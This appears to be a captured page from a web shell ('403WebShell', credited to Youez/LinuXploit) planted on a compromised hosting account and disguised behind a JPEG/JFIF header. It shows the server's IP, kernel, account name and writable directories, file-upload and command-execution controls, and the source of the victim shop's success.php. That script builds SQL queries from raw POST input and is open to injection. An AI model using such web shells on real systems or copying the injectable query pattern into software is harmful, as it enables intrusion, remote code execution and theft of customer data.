���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 93.127.173.170  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/saumasale.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/saumasale.in/public_html/success.php
<?php
   $user = $_POST['user'];
   if(isset($user)){
      include_once("includes/db.php");
      $ob = new database();

      $ob->query("SELECT * FROM `cart` WHERE user='$user'");
      if($ob->affected_rows() >= 1){
         foreach($ob->rows() as $data){
            $size_name = "";
            $name = 0;
            $user_id = $data['user_id'];
            $product_id = $data['product'];
            $size_id = $data['size'];
            $qty = $data['qty'];
            $price = 0;

            $ob->query("SELECT * FROM `product` WHERE id='$data[product]'");
            if($ob->affected_rows() >= 1){
               foreach($ob->rows() as $pro){
                  $price = $pro['price'];
               }
            }
            if($data['size']){
               $ob->query("SELECT * FROM `size` WHERE id='$data[size]'");
               if($ob->affected_rows() >= 1){
                  foreach($ob->rows() as $size){
                     $size_name = $size['size'];
                     $price = $price + $size['price'];
                  }
               }
            }

            $ob->query("INSERT INTO orders SET user_id='$user_id', product_id='$product_id', size='$size_name', quantity='$qty', amount='$price', order_id='$user', status='0'");
            if($ob->affected_rows() >= 1){
               echo "OK";
            }else{
               echo "Failed/nTry again.";
            }

         }
      }
   
   } else{
      header("Location:index.php");
   }
   
?>

Youez - 2016 - github.com/yon3zu
LinuXploit